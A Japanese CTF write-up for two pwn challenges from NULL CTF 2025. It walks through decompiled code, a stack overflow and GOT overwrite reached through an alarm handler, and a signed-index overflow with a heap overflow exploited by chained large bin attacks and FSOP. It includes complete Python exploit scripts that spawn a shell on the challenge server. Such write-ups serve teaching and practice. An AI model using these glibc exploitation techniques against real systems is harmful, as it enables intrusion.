# pwn: skechy ```c void __fastcall main(int a1, char **a2, char **a3) { signed __int64 v3; // rax signed __int64 v4; // rax signed __int64 v5; // rax char *num; // [rsp+8h] [rbp-48h] BYREF _QWORD buf[6]; // [rsp+10h] [rbp-40h] BYREF __int16 v8; // [rsp+40h] [rbp-10h] char *s; // [rsp+48h] [rbp-8h] printf("welcome, gift for today: %p\n", main); s = "quite interesting stuff you're saying"; memset(buf, 0, sizeof(buf)); v8 = 0; read(0, buf, 0x3Au); *((_BYTE *)buf + strcspn((const char *)buf, "\n")) = 0; if ( strlen((const char *)buf) > 0x32 ) { puts("advanced hacking techniques detected"); v3 = sys_exit(0); } puts(s); __isoc23_scanf("%lx ", &num); if ( &printf < (int (**)(const char *, ...))num ) { puts("well atleast you tried"); v4 = sys_exit(0); } fgets(num, 5, stdin); v5 = sys_exit(0); JUMPOUT(0x13A6); } ``` ## readにおけるstack BOF `buf`の長さは`0x30`なのに`read`で`0x3A`バイトを書き込んでいるのでstack BOFが起こります。これによって`s`に入っている文字列ポインタを部分的に書き換えて`puts(s)`でアドレスリークをすることが出来ます。 ## fgetsによるAAW ユーザーが入力した`num`をポインタとして解釈して、そこに対して`fgets`で`5`バイトの書き込みをしています。このバイナリはpartial relroなのでGOT overwriteが可能です。 ## exploit `fgets`によるAAWでGOT overwriteが可能なのですが、その直後にexitシステムコールを直接呼び出しています。したがって、GOTが使われることが無さそうに見えます。しかし、静的解析ツールで見てみると`_init_array`に以下のような関数が登録されていました。 ```c unsigned int sub_11E6() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); signal(14, (__sighandler_t)handler); return alarm(0x64u); } ``` そして、ここではタイムアウトシグナルが発生したら`handler`というシグナルハンドラを呼ぶように設定されてます。`handler`を見てみると以下のようにGOTを使っていることが分かります。 ```c void handler() { signed __int64 v0; // rax puts("challenge timed out"); v0 = sys_exit(0); sub_11E6(); } ``` したがって、`puts`のGOTの下位3バイトを部分的に書き換えてone gadgetにした後に改行を送らずにタイムアウトまで待機すると、one gadgetを実行させることが出来ます。私が作成したexploitを貼っておきます。 ```python #!/usr/bin/env python import sys import ptrlib as ptr import pwn exe = ptr.ELF("./chall_patched") libc = ptr.ELF("./libc.so.6") # ld = ptr.ELF("") remote = False def connect(): global remote if remote: return pwn.remote("34.118.61.99", 10083) else: return pwn.process(exe.filepath) def unwrap(x): if x is None: ptr.logger.error("Failed to unwrap") exit(1) else: return x def main(): global remote io = connect() io.recvuntil(b"today: ") exe.base = int(io.recvline()[:-1], 16) - 0x1265 payload = b"" payload = payload.ljust(0x38, b"\0") if remote: payload += ptr.p16(0xC010) else: payload += ptr.p16(0x8010) # input(">> ") io.sendline(payload) libc.base = ptr.u64(io.recvline()[:-1]) - unwrap(libc.symbol("alarm")) one_gadget = libc.base + [361452, 361459, 980174, 980267][2] write_ptr = unwrap(exe.got("puts")) io.sendline(hex(write_ptr).encode()) io.send(ptr.p64(one_gadget)[0:3]) io.interactive() return if __name__ == "__main__": for arg in sys.argv[1:]: if arg == "remote": remote = True main() ``` # pwn: distrustful ```c __int64 __fastcall my_secure_printf(const char *format, int arg_count, uint64_t *args) { char v5; // [rsp+2Fh] [rbp-61h] int i; // [rsp+30h] [rbp-60h] int j; // [rsp+34h] [rbp-5Ch] size_t n; // [rsp+38h] [rbp-58h] uint64_t v9; // [rsp+40h] [rbp-50h] unsigned __int64 format_strlen; // [rsp+48h] [rbp-48h] char *output_buffer; // [rsp+50h] [rbp-40h] char *dest; // [rsp+58h] [rbp-38h] char v13[40]; // [rsp+60h] [rbp-30h] BYREF unsigned __int64 v14; // [rsp+88h] [rbp-8h] v14 = __readfsqword(0x28u); v5 = 0; format_strlen = strlen(format); n = format_strlen; output_buffer = (char *)malloc(format_strlen); if ( !output_buffer || sbrk(0) < output_buffer ) exit(1); if ( format_strlen == 16 ) memset(output_buffer, 0, 0x10u); else memset(output_buffer, 0, format_strlen); for ( i = 0; i < format_strlen; ++i ) { if ( format[i] == '%' && i < format_strlen - 4 ) { if ( v5 < arg_count ) { if ( format[i + 1] == 115 && format[i + 2] == 107 && format[i + 3] == 105 && format[i + 4] == 98 ) { v9 = args[v5]; memset(v13, 0, 0x19u); while ( v9 ) { append_char(v13, v9 % 0xA + 48); v9 /= 0xAuLL; } for ( j = strlen(v13) - 1; j >= 0; --j ) { append_char(output_buffer, v13[j]); ++n; } } else if ( format[i + 1] == 111 && format[i + 2] == 111 && format[i + 3] == 112 && format[i + 4] == 115 ) { dest = &output_buffer[strlen(output_buffer)]; memcpy(dest, (const void *)args[v5], 0xFu); dest[15] = 0; n += 15LL; } else { my_secure_printf("unrecognized format specifier?!\n", 0, 0); } } else { my_secure_printf("attempted to read more than args provided, skipping\n", 0, 0); } n -= 5LL; ++v5; i += 4; } else { append_char(output_buffer, format[i]); } } write(1, output_buffer, n); if ( !byte_4128 ) free(output_buffer); return 0; } ``` ```c __int64 __fastcall append_char(char *buffer, char c) { char *v2; // rax __int64 result; // rax do v2 = buffer++; while ( *v2 ); result = (unsigned __int8)c; *(buffer - 1) = c; return result; } ``` 上記の`my_secure_printf`と、そこから呼び出される`append_char`に脆弱性があります。 ## `my_secure_printf`の整数オーバーフロー `my_secure_prinf`では引数リスト(`uint64_t* args`)のインデックス`v5`が`char`で定義されています。`char`はデフォルトで符号付きなのですが、以下のように`arg_count`未満であることしかチェックしていません。 ```c if ( v5 < arg_count ) ``` したがって、大量の`%oops`や`%skib`が含まれていると、`v5`が整数オーバーフローして負数になります。その結果、引数リストの負の方向にアクセスできるようになるので、すべてのアドレスリークをすることが出来ます。 ## `append_char`のヒープBOF `append_char`では文字を追加する先のバッファの長さを一切考慮せず、NULLが見つかるまでループをし、見つかったらそこに文字を追加します。したがってBOFが発生します ## exploit この問題では`my_secure_printf`が11回しか呼び出せず、関数のはじめに`malloc`したものが関数の終わりでは必ず`free`されるのでexploitが非常に難しかったですが、以下のような手順でexploitをしました。 1. large bin attackでループ回数カウンタ(スタック)を書き換えて回数制限を無効化する 2. large bin attackで`_IO_list_all`をヒープアドレスにする 3. large bin attackで`stdin`の書き込み先ポインタを`_IO_list_all`のヒープアドレスにする 4. 標準入力からの書き込みがされる関数でFILE構造体を作成する 5. 何かしらの方法でexitを呼ぶ一番始めのlarge bin attackを成功させるのが回数的な問題で非常に難しかったです。そこで、回数を抑えるポイントを説明します。アドレスリークをするときに`%skib`をたくさん用意するのですが、`v5`が整数オーバーフローするまでは以下の処理によって小さい`malloc-free`がされ続けます。 ```c my_secure_printf("attempted to read more than args provided, skipping\n", 0, 0); ``` 通常は`my_secure_printf`で大きな割り当てをしても、そのチャンクは`top chunk`と隣接しているため`free`しても`unsorted bin`には入らずに`top chunk`と結合されてしまいます。しかし、上記の処理によって小さいチャンクが大きいチャンクと`top chunk`の間に挟まってくれるので結合を防ぐことが出来ます。このようにして、アドレスリークと`unsorted bin`の作成を同時に行うことでかなりループ回数を抑えることが出来ました。以下に私が作成したexploitを貼っておきます。 ```python #!/usr/bin/env python import sys import ptrlib as ptr import pwn exe = ptr.ELF("./chall_patched") libc = ptr.ELF("./libc.so.6") # ld = ptr.ELF("") remote = False def connect(): global remote if remote: return pwn.remote("34.118.61.99", 10004) else: return pwn.process(exe.filepath) # return pwn.remote("localhost", 1337) def unwrap(x): if x is None: ptr.logger.error("Failed to unwrap") exit(1) else: return x def main(): io = connect() def send_format_size(size: int): io.sendlineafter(b"size\n", str(size).encode()) def send_format(format: bytes, line=True): if line: io.sendlineafter(b"format\n", format) else: io.sendafter(b"format\n", format) def send_arg_count(count: int): io.sendlineafter(b"args?\n", str(count).encode()) def send_num(num: int): io.sendline(str(num).encode()) def skip_skip(num: int): for i in range(num): io.recvuntil(b"attempted to read more than args provided, skipping\n") def send(format: bytes, format_size: int, arg_count: int, args: list[int]): send_format_size(format_size) send_format(format) send_arg_count(arg_count) for i in range(len(args)): send_num(args[i]) # payload = b"A" * 0x408 send(payload, len(payload) + 1, 0, []) payload = b"A" * 0x138 payload += ptr.p64(0x11) send(payload, len(payload) + 1, 0, []) # libc&heap&stack leak&create unsorted neg_offset = -30 payload = b"" payload += b"%skib." * (257 + neg_offset) send(payload, len(payload) + 1, 0, []) # 1 skip_skip(128) parts = io.recvuntil(b".give", drop=True).split(b".") heap = int(parts[-1]) - 0xDA0 + 0x20 libc.base = int(parts[-6]) - unwrap(libc.symbol("main_arena")) ptr.logger.info(f"heap: {hex(heap)}") stack = int(parts[220]) ptr.logger.info(f"stack: {hex(stack)}") # for i in range(len(parts)): # print(f"{i}: {parts[i]}") exe.base = int(parts[224]) - 0x3D58 # libc addresses io_list_all = unwrap(libc.symbol("_IO_list_all")) main_arena = unwrap(libc.symbol("main_arena")) stdin = unwrap(libc.symbol("_IO_2_1_stdin_")) system = unwrap(libc.symbol("system")) wfile_jumps = unwrap(libc.symbol("_IO_wfile_jumps")) # 411->551 chunk_addr = heap + 0x2A0 payload = b"" payload += ptr.p16(0x551) * 5 # 10 payload += b"A" payload += b"%oops" send(payload, len(payload) + 1, 1, [chunk_addr - 7]) # 5 # 551->unsorted payload = b"A" * 0x408 send(payload, len(payload) + 1, 0, []) # 561->large from_addr = stack + 0x650 payload = b"A" * 0x408 payload += b"%oops" payload += b"%skib" * ((0x548 - len(payload)) // 5) assert 0x538 < len(payload) <= 0x548 payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0x151) send(payload, len(payload) + 1, 1, [from_addr]) # overwrite {fd/bk}_nextsize from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 9 payload += b"%skib" payload += b"%skib" payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(heap + 0x810 - 0x10 - 0x80) payload += ptr.p64( stack + 0x6BF - 0x20 - 1 ) # heapアドレスの2バイト目をiの最上位バイトに設定して負数にする (aslrによってうまく行ったり行かなかったりする) send( payload, len(payload) + 1, 3, [int("1" * 20), int("1" * 4), from_addr - 1], ) # overwrite fd, bk from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 9 payload += b"%oops" payload += b"%oops" payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(main_arena + 1184) payload += ptr.p64(main_arena + 1184) send( payload, len(payload) + 1, 3, [heap + 0x6C0, heap + 0x6BD, from_addr], ) # overwrite size from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 0x10 payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0) payload += ptr.p64(0x561) send( payload, len(payload) + 1, 1, [from_addr - 8], ) # 0x10チャンクを復元する from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += ptr.p16(0x550) payload += b"%oops" payload += b"%skib" payload += b"%skib" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0) payload += ptr.p64(0x10) send( payload, len(payload) + 1, 3, [from_addr - 6, 0, 0], ) # large bin attackを発火させる(ループ回数を負にする) payload = b"A" * 0x588 send(payload, len(payload) + 1, 0, []) # 551->unsorted from_addr = stack + 0x650 payload = b"A" * 0x408 payload += b"%oops" payload += b"%skib" * ((0x548 - len(payload)) // 5) assert 0x538 < len(payload) <= 0x548 payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0x151) send(payload, len(payload) + 1, 1, [from_addr]) # overwrite {fd/bk}_nextsize from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 9 payload += b"%skib" payload += b"%skib" payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(heap + 0x810 - 0x10 - 0x80) payload += ptr.p64( # 0xDEADBEEFCAFEBABE # stack # + 0x10 # - 0x20 # mallocの最後で復元されるrbp, my_secure_printfのleave;ret;でrspになる io_list_all - 0x20 ) send( payload, len(payload) + 1, 3, [int("1" * 20), int("1" * 4), from_addr - 1], ) # overwrite fd, bk from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 9 payload += b"%oops" payload += b"%oops" payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(main_arena + 1184) payload += ptr.p64(main_arena + 1184) send( payload, len(payload) + 1, 3, [heap + 0x6C0, heap + 0x6BD, from_addr], ) # overwrite size from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 0x10 payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0) payload += ptr.p64(0x561) send( payload, len(payload) + 1, 1, [from_addr - 8], ) # 0x10チャンクを復元する from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += ptr.p16(0x550) payload += b"%oops" payload += b"%skib" payload += b"%skib" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0) payload += ptr.p64(0x10) send( payload, len(payload) + 1, 3, [from_addr - 6, 0, 0], ) # large bin attackを発火させる(io list allを書き換える) payload = b"A" * 0x588 send(payload, len(payload) + 1, 0, []) # 551->unsorted from_addr = stack + 0x650 payload = b"A" * 0x408 payload += b"%oops" payload += b"%skib" * ((0x548 - len(payload)) // 5) assert 0x538 < len(payload) <= 0x548 payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0x151) send(payload, len(payload) + 1, 1, [from_addr]) # overwrite {fd/bk}_nextsize from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 9 payload += b"%skib" payload += b"%skib" payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(heap + 0x810 - 0x10 - 0x80) payload += ptr.p64( # 0xDEADBEEFCAFEBABE # stack # + 0x10 # - 0x20 # mallocの最後で復元されるrbp, my_secure_printfのleave;ret;でrspになる # io_list_all - 0x20 # exe.base + 0x4128 - 1 - 0x20 stdin + 56 - 0x20 ) send( payload, len(payload) + 1, 3, [int("1" * 20), int("1" * 4), from_addr - 1], ) # overwrite fd, bk from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 9 payload += b"%oops" payload += b"%oops" payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(main_arena + 1184) payload += ptr.p64(main_arena + 1184) send( payload, len(payload) + 1, 3, [heap + 0x6C0, heap + 0x6BD, from_addr], ) # overwrite size from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += b"A" * 0x10 payload += b"%oops" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0) payload += ptr.p64(0x561) send( payload, len(payload) + 1, 1, [from_addr - 8], ) # 0x10チャンクを復元する from_addr = stack + 0x650 payload = b"" payload += b"A" * (0x140 - 0x10) payload += ptr.p16(0x550) payload += b"%oops" payload += b"%skib" payload += b"%skib" payload = payload.ljust(len(payload) + 8 - len(payload) % 8, b"\0") payload += ptr.p64(0) payload += ptr.p64(0x10) send( payload, len(payload) + 1, 3, [from_addr - 6, 0, 0], ) # large bin attackを発火させる(_IO_2_1_stdin_.file._IO_buf_baseをheapアドレスにする) payload = b"A" * 0x588 send(payload, len(payload) + 1, 0, []) # fsopのペイロードを作成する payload = b"" payload += str(0x600).encode() payload = payload.ljust(8, b"\0") payload += ptr.p64(0x551) payload += ptr.p64(main_arena + 1184) payload += ptr.p64(heap + 0x810) payload += ptr.p64(heap + 0x810) payload += ptr.p64(exe.base + 0x4800) payload = payload.ljust(0x418, b"\0") payload += ptr.p64(0x151) payload = payload.ljust(0x550, b"\0") payload += ptr.p64(0x550) payload += ptr.p64(0x10) payload = payload.ljust(0x560, b"\0") wide_data_addr = heap + 0x8F0 wide_data = b"" wide_data = wide_data.ljust(0x68, b"\0") wide_data += ptr.p64(system) wide_data = wide_data.ljust(0xE0, b"\0") wide_data += ptr.p64(wide_data_addr) file_addr = heap + 0x810 file = b"" file += b" sh;" # flags file = file.ljust(0x20, b"\0") file += ptr.p64(0) # _IO_write_base file += ptr.p64(1) # _IO_write_ptr file = file.ljust(0x58, b"\0") # file += ptr.p64(system) # _wide_vtable + 0x68 (stderr - 0x10 + 0x68) file = file.ljust(0x88, b"\0") file += ptr.p64(wide_data_addr) # _lock file = file.ljust(0xA0, b"\0") file += ptr.p64(wide_data_addr) # _wide_data file = file.ljust(0xC0, b"\0") file += ptr.p64(0) # _mode file = file.ljust(0xD8, b"\0") # file += ptr.p64(file_addr - 0x10) # _wide_data._wide_vtable (stderr - 0x10 + 0xe0) file += ptr.p64(wfile_jumps) # vtable payload += file payload += wide_data assert b"\n" not in payload io.sendline(payload) io.interactive() return if __name__ == "__main__": for arg in sys.argv[1:]: if arg == "remote": remote = True main() ```

NULL CTF 2025 Writeup